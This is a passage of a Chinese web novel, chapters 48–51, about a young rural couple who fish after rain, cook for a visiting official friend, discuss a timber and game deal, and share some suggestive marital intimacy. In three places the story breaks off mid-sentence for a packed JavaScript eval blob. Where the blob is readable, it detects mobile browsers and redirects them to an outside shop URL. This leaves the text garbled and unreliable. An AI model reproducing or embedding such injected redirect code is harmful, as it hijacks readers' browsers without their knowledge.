才两三天没过来看,移栽的菜苗就明显窜高了一截。也是周婶子育苗育得好,拿过来的时候一株株就比巴掌还长了,种下去原耕耘两人照管得也勤,现在长得快有向园小腿那样高。 撒的菜种也都发芽了,嫩丫丫挨挨挤挤地冒出地面,青丝丝、嫩生生的,看着别致可爱。 “也不知这雨还要下多久?”向园摸摸还没她指甲盖大的叶片,有些愁。 种子这么快发芽大部分都是这场雨的功劳,可它们现在喝饱水了,雨却没停,再下几天,恐怕就要淹死了。还好前几天就搭了架子,不然没被淹死,稍微下一阵大雨,也会把苗儿砸倒。 “明天应当会放晴。”原耕耘常在山里活动,对于天时气候,稍微懂一些。 一来少时看过不少书籍,知晓如何根据天象判断。二来他清楚会预测天气对猎人有多重要,在村里行走时,见老农提起就认真听着,不懂就问,慢慢的,也积累不少经验。到如今,理论和实践都很丰富,少有误判的时候。 向园听着,眼里都是崇拜,“耕耘哥哥,你好厉害!” 原耕耘失笑,“明天放晴了你再夸不迟。” 向园自有道理,“明天放晴了就是你说得准,要是不放晴,那绝对是这雨不对,不懂得顺应人心。” 她是个信念感很强的人,说什么都能让人深信不疑,因为她自己就觉得很真,也不在乎是对的还是错的。 原耕耘捏捏她的脸,把她推到屋檐下避雨,“小马屁精,你要是当官,高低得是个佞臣。” 向园觉得他不解风情,她分明就是发自内心地赞美,却被他说拍马屁,她以后不夸他了。 48. 第 48 章 下雨天,不好出门。 向园坐在屋檐下,看着雨发呆,还想伸手接雨滴玩。 原耕耘握住她手腕,揣自己怀里,“脏不脏?还用手接!” “雨水怎么会脏?这还是一味药呢!”向园窝在他怀里,依旧仰着头,看雨水积聚在屋顶,顺着房檐的稻草坠下来,一滴一滴又一滴。 这时候就能看出来滴水穿石的力量了,檐下的青石板虽然没叫滴穿,但上头确实是有小坑的,晴朗的时候不明显,这会有水,就积聚成一排小水洼,特别小,估计也就半个豌豆那么大,浅浅的。 向园看出趣儿来,很想伸手戳一戳,可惜手被原耕耘握着,抽不出来。 原耕耘下巴搭在她肩上看了一眼,“雨水是药不错,难道四时雨水都是药?向园,向大夫,你是不是糊弄我没看过医书?” 他侧过脸,瞧着她的面容,揉捏她的手指,一副求教的姿态。 向园顿了顿,起身回屋看书。 耕耘哥哥怎么长的脑子,怎么给她读过一遍就能记得那么清楚! 她再不用功学习,马上就要被他超过了。 原耕耘看着她的背影一笑,挟了一把青草给鸡剁食儿,又砸了一部分螺蛳掺进去。 鸭和鹅这个天气可以出去,鸡不行,稍微沾点雨,一个个都成落汤鸡了,看着蔫嗒嗒的。 这几天,一群鸡都缩在柴棚底下抱团避雨,连以往不屑一顾的鸡窝,此时也愿意进去了,喂鸡都方便不少。 鸭和鹅的食儿也先拌上,傍晚喂给它们,也省得下午再拌了。 弄完这些要不了多大会儿工夫,原耕耘忙完就去了后头琴房浸糯米种。 屏山第一峰和第二峰相交的南麓山谷处,他种了两亩地的糯米,五月里就该收了。今年他打算种两季,现在催芽,把苗先育上,不耽误芒种前后插秧。 向园看书倒也用心,一旦进入状态,就能看很长时间。 直到隅中时分,雨停了,原耕耘忙完站在门口喊她,她才回过神来。 “我去上头看看拦的有鱼没,你要不要一起?” 山溪是从山里流出来的,从竹坡坡流到竹窝窝,再往南跟西边流过来的一条河汇流,往下流进蓼河。 向园祖辈在山溪旁顺着地势挖过一道渠,引其中一股水流到水塘,这样,水塘就承担了蓄水的功能。 雨水多的季节,水塘拦截水流储水,雨水少的季节,把桥下的石坝口一开,水就能流到稻田里去。稻田也有出水口,上下连通,人照管着,这三亩稻田全年都不会缺水。 村里也有一条小河,是从东北方向流过来的,因在村子南面,水常年清澈,就叫南清河,同样汇到蓼河里。 原耕耘说的上头,就是竹坡坡的山溪,他们过去,是上坡,所以随口喊上头就知道是在哪。 向园赶忙合上书,“要的要的,一起去。” 她换上草鞋,两步走过来,探头往外一瞟,“雨停了啊?” 原耕耘点头,拉着她往出走,“停了有一会儿了,咱们现在过去,捉到鱼的话还能赶上晌午吃。” 桶和捕鱼的工具原耕耘已经收拾好放在院子里了,向园自告奋勇要拿网兜,原耕耘递给她,顺手拎上桶,两人往山溪处走。 下雨了一二三也没出门,在屋檐下卧了一大晌,此时也连忙跟上。 雨虽停了,天还阴着,路很湿很滑,向园穿着草鞋,一路崴,很快糊了一脚泥。 原耕耘赤脚走路,向园走了一会儿,觉得穿着草鞋还不如像他一样打赤脚,穿这一路,草鞋估计也要崴坏。 她弯腰要脱鞋,原耕耘捞住她,“别脱了,等会儿到河边上好好洗洗就成。这块地好久没有清过,怕有尖石头和荆棘刺。” 他知道向园不好走,就挟着她走。 他另一只手还拎着铁锹,铁锹上挂着桶,桶里放着水瓢等物,向园替他难受,她攥着捞鱼网兜往下挣扎,“耕耘哥哥,你放我下来,我不脱鞋了,我慢慢走。” 原耕耘不听她的,“别晃,很快就到。” 本来上来也不过是一刻钟的路程,两人已经走了一半了,这点路,对他来说,着实算不了什么。 一直到小溪边,有石头的路上,他才把向园放下来。 这边石头都很大块,边角也都圆润,比泥地好走一些。 他脸不红气不喘的,向园叹了口气,一边跟着他走,一边语重心长道:“耕耘哥哥,你不能只知道心疼我,你得学着心疼自己。” 原耕耘被她逗乐,“等我六十岁的时候,还没人心疼,你再说这话不迟。现在我才十九,做什么要心疼自己,我还等着别人心疼我呢。怎么,你不肯心疼我了?” “哎,不是这样说哦。”向园用看不懂事的小孩子的眼光看他,但原耕耘显然不理解,她摆摆手,“算了,下次我记得提醒你穿草鞋好了。” 原耕耘又笑了,“嗯,我就指望你心疼我了。” 两人凑到水潭边去看鱼。 很多山溪是没有鱼的,只有水流比较大的山溪有,原耕耘托底这条溪上游有湖,水流也不小,里头有不少大鱼。 所以每逢阴天下雨,他都要在这里网鱼。 忙的时候忙里抽闲过来一趟,直接用网捞,忙个一时半刻,总能捞到几条鱼。 闲的时候他会扛着竹排过来,把竹排往水潭下水口处一插,就能截留住大部分鱼虾。竹排是他很早之前扎的,只有三尺来高,却很宽,正好能把潭口堵严实。 水潭呈圆形,不大不小,水面有一丈阔,潭底半侧是石头,半侧是泥沙,能看得见底,也不算很深。 就这一会儿,向园已经看到许多条鱼,有大有小,还有很长的青虾。竹排疏密有致,太小的都顺着缝隙冲下去了,能留在这儿的鱼虾最小也有手指大小。 一二三已经迫不及待要往水潭里跳了。 “回来!”原耕耘喝了一声,几只乖乖停下脚步,扭头看。 原耕耘神色严肃,“等会儿再下河。” 狗嘴咬上来的鱼,很少有活着的。这么多鱼,捞回去可以养在水塘里,想吃随时都能吃,还新鲜。要是叫狗咬死了,两顿吃不完,还得腌上。 一二三只好回转身来,在岸上跑着撒欢儿,它们也闷了好几天了,不能下水,能放放风也是好的。 向园以前只用鱼篓笼过小鱼小虾,她没有捕鱼的经验,但是知道别人捉鱼的时候不能大声叫嚷,不然会把鱼吓跑。像原耕耘刚刚喝止一二三的那一声,就把鱼吓得游去另一边了。 她动作轻轻的,把捞鱼网兜递给原耕耘。 原耕耘还觉得奇怪,以她的性子,不夸两句是不正常的。就算不夸,看到这么多鱼,也要高兴一下才是,什么反应都没,真有点不习惯。 他伸手接过网兜,就见向园屏住呼吸,对上眼神,还朝他露出一个大大的笑容。 原耕耘:“……怎么了?” 向园:“……” 向园吸气,向园惊讶,她扭头看看河里,刚刚被吓跑的鱼又游回来了,这次没有惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她跑来跑去的运鱼,看着竟比在潭里的原耕耘还要忙些,但来来回回脸上全是笑,不见一点累。 半晌,鱼终于捞得差不多了,大木桶已经装满了,向园这才知道小圆筐的妙用。 原耕耘把先前投到水里的鱼篓捞上来,里头已经积了不少小鱼小虾,他把鱼虾倒进圆筐里,竟然倒了满满一竹筐。 小鱼小虾挨挨挤挤的,还弓着背甩尾巴,不时弹跳起来,向园看着,比捉到大鱼还高兴。 “我去找个叶子盖一下。”向园说着就要去搜摸大叶子,原耕耘拦住她,“用这个就好。” 他说着,不知怎么扭了两下,竟把鱼篓最上边的的束口取下来了。鱼篓虽然比圆竹筐大得多,但是上头这个束口刚好能卡进圆筐里,鱼虾就是再跳,也跳不出束口来。 “耕耘哥哥,你真聪明!”向园又没忍住拍马屁,当然她不觉得这是拍马屁,她说得可真心实意了呢。 原耕耘已经习惯了,他笑一声,“你去穿上鞋,收拾收拾,我再捞几网,咱们就回去。” “嗯嗯。”向园回头看,岸边上她的草鞋已经洗刷干净了。 不过她也没穿,她想陪着原耕耘赤脚走回去。正好,回家不用再洗草鞋了,直接洗脚就好。 想着,她去收拾东西。 原耕耘又捞了几网,潭里的鱼就不多了,他看着够给一二三吃了,就停下手。 49. 第 49 章 捞到这么多鱼,晌午自然要吃鱼的。 向园去灶房添水烧火。 两个人走这一路,虽没有摔跤,身上也是脏兮兮的,溅了不少泥点子,得好好洗一洗。尤其原耕耘,晨起腿脚在稻田里泡了一早上,晌午捉鱼又泡在河里,得好好用热水泡泡。 灶房隔出来就有一块洗澡的地儿,在这屋烧水,比灶棚方便些,不用拎着水桶来回跑了。正好天气也潮,烧烧火把炕烧热也能去去潮气。 向园填好硬柴,走到院子里,原耕耘正蹲在灶棚外头篱笆墙边的角落里破鱼。 那里有个怀抱粗的木桩子,原本也是一株梨树,只是前些年被风刮倒,原耕耘就锯掉了树,把木桩子又楔回地里,这就成了个结实耐用的圆砧板。 他杀鸡宰鱼,鞣制皮毛都在这里。 挨着旁边还有个破旧的鸡笼橱,勉强塞在灶棚底下边沿的位置,也能遮阳挡雨。橱柜朝外开门,里头放着各式各样的小工具和杂物,取用什么都方便。 向园去灶棚底下搬了两个小板凳过来,一个给原耕耘坐,一个她搬着坐到对面,去收拾竹筐里的小鱼小虾。 大一些,宽一些,不会被鸭和鹅啄伤的鱼,回来的时候,他们就挑着丢水塘里了。 剩下的这些小杂鱼各种各样,好些向园也念不上名字。大的有巴掌长,细袅袅的,体型像是泥鳅,但是偏扁,颜色也不像。小的也就一寸两寸,跟扁豆差不多。 这些小鱼好收拾,剪子把鱼肚边一剪,大拇指和食指顺着一挤,就能把内脏和肚子里的脏东西挤出来。有些肚皮软的,甚至都不用剪子,直接上手就能弄出来。 向园埋头挤了一会儿,原耕耘就把两只大鱼收拾干净了。 “要怎么煮?我去村里买块豆腐?”他舀了两瓢水,最后把大鱼冲了一遍,挂在一边的钩子上。 “路不好走,要不咱们就不炖豆腐了?”向园一边挤鱼,一边道。 “吃辣子炖的吧,加些豆腐好吃。”原耕耘这话说的颇有几分心虚,远没有当初让向园做葱花饼时的理直气壮。 主要向园这些日子想方设法给他养胃,他自己倒馋起辣的来,觉得辜负了她的心意。 想象中可怜的控诉的眼神没有出现,原耕耘只瞧见一双亮晶晶的大眼睛朝他望过来,还俏皮地眨了眨,“那再买些豆芽和豆腐衣好了,我做水煮鱼给你吃!” 向园声音清脆,没一点勉强和无奈。 她也馋啊。这几日做的饭不说清淡,肯定没有味道太重的,他们吃得最有味道的也就是半个多月前做的香椿酱了。 她想吃,但她不能说,因为说了要给原耕耘调理,她就不能馋他。 现在原耕耘提了,那吃一次应当……也没关系吧。 原耕耘:“……” “向园,你是不是也想吃?” 这下心虚的成了向园,她眨眨眼睛,没有否认,只是很狗腿地道:“妻随夫行,耕耘哥哥想吃什么,我自然也想吃什么。” 原耕耘就盯着她瞧,向园接收到那目光,很快明白是什么意思,她低下头去,懂装不懂。 “吭~”原耕耘胸腔振动,发出一声轻笑,“不是你骑我头上那会儿了。” 走在村路上,他脸上还带着笑意,周二仓看着都稀奇,“你这是捡钱了?” 原耕耘甩给他两条鱼,“没捡钱,捡鱼了,我娘子给嫂子和婶子尝鲜的。” 周二仓啧啧两声,感叹女人之间也太容易建交情了,这才认识几天,就你给我送菜,我给你送鱼的,亲的一家姐妹似的。 周满仓吞吞口水,脑子灵光了一回,知道这是占了老娘和嫂子的光。 不下雨的时候,他也想不起来捞鱼,一下雨,他就坐不住。 蓼河很大,但是村里明令禁止下雨天往蓼河边捕鱼。因为谁也不知道上游有没有下大,会不会涨水。 村里以前就出过事,现在不管老的小的都很自觉,就是馋鱼也不往河里去,不仅自己不去,看到谁去还要死命拦着,喊人拦人,就差组个巡逻队在河边上看着了。 所以村里人想吃鱼,也只能等天晴了、水退了,才会过去捞一网两网碰碰运气。 而村里另一条南清河,正应了水至清则无鱼那句话,里头根本没有鱼。 周满仓馋这口都馋了好几天了,“我去买豆腐。”他说着,轰隆隆跑出好远。 原耕耘本来还想喊他给自己捎一块的,也只能作罢,等会自己跑去买吧。 他拎着鱼,往陆太叔公家去。 前几天他和向园刚来拜访过,陆太叔公瞧着挺高兴的,拉着两人絮叨不停,还不让他们走,隔天就拄着拐杖过去瞧他们日子过得怎么样。 今天再走一遭,来来回回的,关系也就近了。若是处得好,向园跟哪个婶子嫂子投缘,以后也能多个串门的地方。 黄家也在附近,原耕耘经过的时候,正好瞧见黄家一行人,是黄穗安和他大哥大嫂,几人应该是刚从地里回来,身上还沾着泥水。 原耕耘想想,递了一条鱼过去。陆家人多,他特意多带了几条,如今给黄穗安一条,还剩四条,也看得过去。 黄穗安接下,道谢。几人寒暄了几句,原耕耘就走了,没听到身后黄穗平嘱咐黄穗安的话。 黄穗平道:“咱平日里没少得九郎的东西,你注意着那边要是有什么需要帮忙的,咱们弟兄过去帮衬一下。” 黄穗安明白这意思,指望拿家里的东西还九郎的人情,根本不可能。 九郎没成亲前还好,爹娘就是抠搜,盼着他做女婿,有时还会嘱托他捎些菜什么的过去。 现在看人家成了亲,虽是娶的孤女,婚事却办得热闹又排场。不说别的,单是那婚服,就不是他们乡底下能拿出来的好东西。 这下村里都知道,人家就是分家来乡下过活,也是存的有家底的。 小两口看着亲热,同出同入的,见了谁都有礼有节,跟陆家和周家也处得也好,村里许多人家提起来都是夸赞,他爹娘听了心里就更过不去了。 尤其妹妹的婚事高不成低不就地没个着落,他们憋着一股气,活像是别人抢了自家的女婿,心中恨生,连他带着猎物回去都头不抬眼不睁的,没个好话。 他有时想,干脆说破了,以后就不跟着九郎去打猎了。还是大哥劝他,有这门生计,以后分家了还能有个指望。没这门生计,难道指望老子娘分地给他们吗? 黄穗安叹了口气,黄穗平拍拍他的肩膀。 黄穗安转头,抖抖手里的鱼,“哥,嫂子,咱去把南清河那半块地也料理了吧,料理完了再回来。” 黄穗平还没反应过来,苗秋枳先转头往地里去了,黄穗平连忙跟上。 去,怎么不去!就是回了家,冷水冷锅冷灶的,都等着他媳妇儿忙活,稍微慢一点还要遭人说,遭人骂,倒不如在外头,任他们饥饱,不干别人的事。 原耕耘端着豆腐和豆芽往回走,向园在家里就把小鱼青虾收拾干净了。小鱼瞧着有一大碗,青虾还多些,有一小盆。 她收拾鱼杂脏腑喂鸡,洗过手,看灶房里锅烧开了,就把水舀出来,已经有一刻钟了,耕耘哥哥估计也快回来了。等他回来,正好可以洗澡换衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16497877|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服。 向园不想泡脚,单留了一桶热水给原耕耘,又往锅里添了水,打算先把饭蒸上。 晌午有鱼吃,就蒸个米饭,朝食剩下的馒头片煎得很干,晚上再炒了吃也行。蒸饭需要的时间久一点,这锅洞里火烧得正旺,等会儿再添些硬柴,就能把饭蒸熟。 煮鱼就不在屋里煮了,省得留一屋油气,洗澡的时候不舒服。直接去灶棚里,那边开阔,做饭的时候不闷热,油气也散得快。 向园片好鱼片,剁好鱼块,又削了两根莲藕泡水里。她正想着要不要先把鱼煎上的时候,原耕耘回来了。 他还带回来个客人,正是在圩市上有过一面之缘的何翀。 何翀他爹是原耕耘他爹的旧识,也是原耕耘他爹点拨过的后辈,原来在北府的卫所当个小官。 何翀是第三子,上头还有两个哥哥,大哥要袭老爹的差事,二哥早些年病逝了。 他们兄弟不亲,他老爹年纪渐长,怕小儿子以后没个着落,就想法设法走门路给他谋了巡检司副巡检的缺儿。 没想到他还挺正干,在这儿干了几年,愣是把原来的巡检挤兑走了,自己当上了巡检。 后来起了河口草市这一摊,县太爷还想把他撵走,让自己小舅子上,结果也没弄成事儿,只得把小舅子安排到牙行,毕竟蓼县没有设专门的税课司,市税都是委托牙行代收的。 俩人天天斗鸡眼似的,今日你压过我,明天我按着你。 前阵子,就是两人斗得厉害,县太爷小舅子吃了亏,找姐夫做主,何翀被县太爷指使到别的地方办差去了。 何翀还是一脸笑模样,冲向园作揖道:“我赶着来吃现成的了,弟妹不介意吧?” 向园:“不介意,不介意。” 眼看何翀还要逗自家媳妇,原耕耘推他进屋。 “你瞧瞧你,我来一趟,好歹让我把礼奉上啊。”何翀耸耸肩膀,抖掉原耕耘的手,左手拎着个四层竹攒盒,右手掂着四个小布袋,盒子上、布袋上都贴着红喜字。 他举起来,让向园看,“弟妹,左边是熟的,右边是生的,单看你们爱吃哪个,是我的一点心意,你可别嫌弃啊。” 把向园唬得一愣一愣的,她不知道该怎么回话,只能摆摆手,“不嫌弃,不嫌弃。” 想想单这样说不好,又找补道:“你太客气了,来就来,怎么还带这么多东西,下回可别这样了。” 这是村里常说的客气话,她现拿来用了,这话说得不一定好,但一定不会出错。 可也不知哪个词挑了何翀的笑筋,他又捂着肚子笑起来。 原耕耘一脚踹他腿上,才算让他踉跄着滚去堂屋了。 何翀进了屋,也是一脸痞笑。 他上下把原耕耘打量一遍,奇道:“没看出来啊,九郎,你还挺护食儿,连句话都不能跟你媳妇儿说了。” 原耕耘又想踹他,“算算你都说几句了!你还想说几句?” 何翀:“……” 他还想问问醒酒汤来着。 “诶,你不说我没想起来,我那天回去一琢磨,不大对劲啊。”何翀一脸稀奇,“你媳妇儿是不是就是你以前在学堂里常念叨的那个小妹妹?说要人家给你做媳妇儿那个?” 他一脸看好戏的表情,就看原耕耘怎么回答,这要是不是,也不知他媳妇儿知道他有这么一段过往,会不会吃醋,这要是是,那可真是…… 可真是叫他嫉妒死了,他小时候怎么就没有这样的先见之明呢。 要是他五岁就有这份胆量,哪能到现在了每天还得爬墙头,只能看不能吃呢。 50. 第 50 章 何翀送来的攒盒里装着四样点心:枣泥糕,花生酥,桂圆糕,莲子酥。四个布袋里是四样干果:红枣、花生、桂圆、莲子。 确实如何翀所说,这边是生的,那边是熟的。 原耕耘看了看,就知道这不是何翀能想起来的。 以何翀的性子,不送他几本黄册子就是好的,哪会考虑得这么细致,他又没有老娘媳妇儿给他操持。 不过,就算现在没媳妇儿,估计离有媳妇儿也不远了。 “正好,等把家里这些存货吃完,新鲜的也该下来了。”原耕耘道,“算他有心,不枉咱们好好招待他一场。” 他是贵客,还是原耕耘的好朋友,以往也没少照顾他。 向园想着那天光是在圩市上,他虽没说什么,间接地也帮他们省下不少钱,今天又拿了厚礼来。所以她可着家里有的,特地做了几个菜招待他。 水煮鱼就不说了,先前腌的风干鸡看着不错,皮光油亮的,向园蒸了一只。 笼子里的两只兔子,已经养肥不少,也宰了一个,做了香煎兔肉。一盘没铲下,见他喜欢吃,剩下一半还打包让他带走了。 还有他点名要的山药,原耕耘也任劳任怨地去给他现刨了一捆。 最后唯有醒酒汤没有用上,但何翀的确是海量,一坛酒,差不多有五斤,他和原耕耘配着小菜喝了一晌,傍晚起身时,都不带摇晃的。 何翀走的时候神志清明,还有心思逗趣儿:“弟妹好手艺,下回我还来喝酒,你可不要嫌弃啊。” 向园:“……” 是我表现得不够好客吗?怎么每回都说不让嫌弃。 见他们还有话要说,她摆摆手,先回院子了。 原耕耘拍拍何翀的骡子,“你这骡子不错,要是遇上合适的,帮我留意着。” 何翀一笑,“容易!我这儿有一笔生意,你帮我做成,我到时候白送你一匹。” 原耕耘扭头瞧他一眼,“什么生意?” “七月里我要杉木一千五百根,径八寸到一尺的,价格估摸着能给到六钱,一尺以上的,另外算价。具体我还说不好,总之亏不了你。你常往山里走,遇上好木头也留意着。另外有矮鹿、麂子、獐子、野猪这些野物我也要,你量力而为,活的最好,三五十只我都能吃下。” 原耕耘有片刻诧异,“乡试要的?” 何翀点头。 原耕耘:“你有把握?” 何翀嗤笑一声,“但凡是肉,哪怕长在蚊子腿上,楼家也想扒上去啃一口。鹬蚌相争,渔翁得利,这回小爷不跟他斗,小爷跟在后头捡便宜。批文我已经找好门路了,这两天就能拿到。你这边定好章程,随时找我去拿。” 他话说得明白,原耕耘心里有数,点点头道:“杉木没问题,野猪恐怕有点麻烦,还说不定。矮鹿、麂子、獐子可以弄到。” 今年的野猪族群有点大,原耕耘是不会一个人硬往里头闯的,只看能不能碰上落单的,或者设陷阱捕捉。 何翀听他这样说,心里就有底了,他指着骡子挑了挑眉,“这头你相中没,要不就给你留这儿。” 说着,就把缰绳往原耕耘手里塞。 原耕耘瞥他一眼,避开手,“留这儿,你上值下值就指望两条腿倒腾?” 何翀搭上他的肩膀,哥俩好道:“够兄弟,这还惦记着哥哥呢,放心,保管给你找头好骡子,能赶得上马那种。” 原耕耘往前一步,耸掉他的手臂,“赶紧滚吧,我这一身鱼腥气怄到现在还没洗呢,等会儿都要腌入味了。” 何冲呲出一口牙花子,“好好好,走走走,不耽误你抱媳妇儿。” 也不骑骡,捂着肚子溜溜达达走了,走到桥上又回过头来喊:“回头带弟妹过去串门啊。” 向园放好东西,跑到浴桶边给原耕耘搓头发,“耕耘哥哥,咱们真要买骡子啊。” “买,遇到合适的就买。”原耕耘握住她手,“你洗过了?” 向园还没呢,晌午的水早就放凉了,原耕耘送人的时候,她才又烧上,刚舀出来一锅,现在还有一锅在烧着。 “先给你洗,你洗洗醒醒神,早点歇着。” 原耕耘呼啦站起来,“我洗好了,水是不是烧好了,等会儿给你洗头发。” 他刚进去,水还热着呢,就溅了向园一身。 向园抹抹脸,手举起来够他的肩膀往下按,“快坐下,你是不是醉了?头发还没涮呢,满头泡沫!” 原耕耘清醒着,转个身,低头看她,目光深沉。 他不是醉酒,是醉人。人在跟前儿,酒意醺着,就有些飘飘然了。 向园看懂了那眼神,这是又想舒服了,可惜酒后不能做这种事,当然也不能让他舒服。 她把他当醉鬼哄,“耕耘哥哥乖,快坐下!很快就洗好了,洗好我们去床上。” 至于去床上做什么,当然是睡觉了,她一会儿盛一碗醒酒汤给他喝,喝了再睡。 原耕耘有些意外。 “向园!”他喊。 “你喜欢在床上?”他把向园抱起来。 低沉的声音带着酒气,喷洒在向园耳边。 向园想,五感果然是联通的,不然,他喝了酒,在自己耳边说话,自己怎么就醉得脸都红了呢。 酡红的脸颊实在可爱,原耕耘伸手摸摸,摸了好几下还不停,虎口卡着她侧颈,拇指轻轻摩挲,向园脖子也跟着红了,又烫又痒。 她轻轻挣了挣,自然没有撑开,只能尽量后仰上身,跟他说话,“耕耘哥哥,你醉了,坐下乖乖等着,我去给你盛一碗醒酒汤。” 说完又撑,这次撑开了,她逃也似地去盛汤。 直到看不见向园的背影,原耕耘跨出浴桶,随便涮干净头发上的泡沫,又抱着浴桶倒水,添水。 这动静有些大,向园才刚把汤温热,盛了一勺,就注意到这边。 她怕是原耕耘摔倒,赶紧过来看。 这无异于自投罗网,原耕耘捞住她转了一圈,在她身后拴上门,把人禁锢在怀里,解她的衣襟。 向园挣扎,“耕耘哥哥,喝酒不能做这个。” 原耕耘不停,啄吻她的嘴角、锁骨,间隙间才说完一句完整的话,“我们先洗澡,等会儿去床上。” 花瓣一样的痕迹不断印下,向园很快败下阵来,跟他呼啦啦卷在一起,被他摩挲,揉捏。 浴桶空间有限,原耕耘施展不开,他过了阵干瘾,就停手,给向园洗头发,绞干,擦身,最后直接裹一件衫子抱回屋。 她既然喜欢在床上,那床上就是他们的主场。 到最后,向园染了一身酒意,糊糊涂涂还在呢喃,“喝醒酒汤,睡觉……” 向园第一次感受到情.事的疲倦,这是之前从未有过的。 她怀疑,原耕耘是不是趁她不注意,悄悄做了生孩子要做的事。不然,她的腰怎么会这样软,腿怎么会这样酸,浑身还弥漫着一种说不上来的感觉,很难形容。 而且,昨天她都没让他舒服,都是他给她舒服来着,她的手却出乎意料的有些打颤。 这不正常! 向园觉得被骗了,她不高兴。 门口传来脚步声,只可能是原耕耘。 向园鼓了鼓脸,伸手一捞,把自己从头到尾藏进被子里。感觉到头顶透风,她又拱着往下钻了钻,头、手并用,压住被边儿。 原耕耘:“……” 他放下托盘,凑近了喊,“向园?” 没动静。 他手虚虚搭到被子上,“宝贝?” 没人理。 他手往下走,朝唯一漏风的地方探去,“我娘子呢?怎么不见了,让我找找,是不是藏在这儿?” 脚腕被握住,被子下的向园忽地瞪大了双眼,强忍住才没有踢开。 小腿被带着薄茧的大掌摩挲,她身体绷得直直的,眼睫忽闪扫过被面。 原耕耘轻笑出声,指尖盘旋往下,轻扫细腻的脚心。 “呜~”被窝里传来一声呜咽,又轻又痒的触感传来,向园再也忍不住,猛地弹腿抽脚,逃离魔掌。 原本平整的被子左下角翘起一块,是向园的左腿。 原耕耘按上去,“这个一定是我的宝贝娘子。” 向园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原耕耘还要唠叨,向园觉得那股劲儿都要过去了,她瞪着眼睛道:“耕耘哥哥,你怎么这么慢,我都不想要了。” 原耕耘:“……” 有些话他真不该教她的。 歇过一轮,原耕耘再次卷上来的时候,向园才发觉事情跟以往有些不一样。 不是该她让他舒服了吗?为什么他还要这样。 “耕耘哥哥,”向园声音颤抖,“你下来,我帮你!” 她刚哭过,眼睛里还含着泪,里头有迷茫,有惊讶,还有微微的害怕,原耕耘直直望进她眼睛里,“不是说让我说结束吗?” 向园抱住他脖子,带着点委屈蹭了蹭,湿润的水迹糊了他满脖子。 原耕耘叹了口气,抱着她滚了一圈,让人趴在自己身上,捉着她的手去往难以消解的去处…… 重新洗过,饭菜又热了一遍,原耕耘再次扶向园起来吃饭已是半个多时辰后。 “我一会儿得往村里去一趟,何翀介绍了一笔生意……”他把何翀说过的话说了一遍,问向园,“你要不要和我一起?” 向园还迷瞪着,听清他说的什么,才回神考虑了一下: 今天放晴了,她得再去看看菜苗长得怎么样,还有南瓜、冬瓜、葫芦、丝瓜,要是长出来了,也得及时栽下去。 刚下完雨,水塘里肯定有很多浮萍,可以多捞一些喂鸡。 菜园里的韭菜,头茬还有一半没割,得及时割了腌上,不然就长老了。 还有鸭蛋,虽然没存下来,她还想着把这几个腌了,腌上一个月,到五月里,过端午节的时候正好能吃。 要是有工夫,她还能再看会儿书。医书有一些她还不大能看明白,草药书她看得倒是挺有意思。 想着,向园摇了摇头,“耕耘哥哥,你去吧,我在家等你回来。” 她接过原耕耘手里的碗,放在桌上,“我自己吃,你也赶紧吃饭。” 原耕耘:“……” 他问这个问题,不是想看她摇头的。 他端起碗,“你不是说,想拿鹅蛋跟村里人换些鸭蛋吗?不如一道去看看,现在不问,过几天该腌的人家都腌了,只怕想换也没有了。” 向园想想,是这个道理,“那我就陪你一起去吧。” 他们吃完饭过去,晌午估计就能把这事儿说好,中午就不歇晌了,有一整个下午的时间够她忙活。 51. 第 51 章 原耕耘给向园梳了个单螺。 天天梳,他的手艺好了不少,不像一开始梳的那样松散,好像随时都要坠下来。 原耕耘把她前额两绺碎发掖进侧梳的长发里,晃晃西洋镜,“你得自己学着梳头。” 向园睁大眼睛,看着很是无辜,“我一直都在学啊,只是没有学会嘛。” 他都害得她手抖了,给她梳头不是应该的嘛!等哪天耕耘哥哥不肯给她梳头了,她自然就会了。 原耕耘嗤笑一声,戳戳她光洁的额头,“你是学不会么?你是懒!” 手举没多大一会儿就喊酸,以往梳双螺髻的时候也不知道怎么梳的。 实际向园梳双螺很有技巧,她又不喜欢梳得油光水滑的那种,直接用木簪绾两下别上去就行,散开了再重新绾。 但是单螺就不行,她头发比较多,都绾到一起木簪都别不住,得用发带,缠缠绕绕的,她又看不见脑袋顶,对着镜子还要歪头扭脖子的,确实很累嘛。 要是耕耘哥哥不给她绾发髻,她就还自己梳双螺。 收拾好,两人提着篮子往村里去。 二黄和三花要跟着,向园把它们撵回去。 几只大狗长得挺威风,除非必要,他们都不带着往村里去,万一吓到谁家小孩儿就不好了。 二黄围着他们转了两圈,去水塘边找大黑了。 三花呜呜叫几声,原耕耘呵他往竹林去撒欢,它才三步一回头地走了。 “一二三好像也挺喜欢热闹。”向园猜测。 家里人少的时候它们就安安静静的,撒欢也是自娱自乐或者互相嬉闹。人多的时候,它们就活泼很多,遇见个生人就汪汪叫,很机警。但是遇上熟人,他们也要叫,有时候是喊人,有时候就是故意的,故意吓唬人家。 两人先去的村头,村头有个不成型的早市,附近想要换东西的都会过来这儿。有双方看对眼了换的,也有你看上我的菜,我看上他的蛋,他看上你的鸡崽儿,几方倒腾着换的。 向园还看见有卖小猪崽儿的,她抻抻原耕耘的衣裳,原耕耘会意,低下头凑着耳朵听。 “我们要不要捉两只小猪崽儿喂?”向园征求原耕耘的建议。 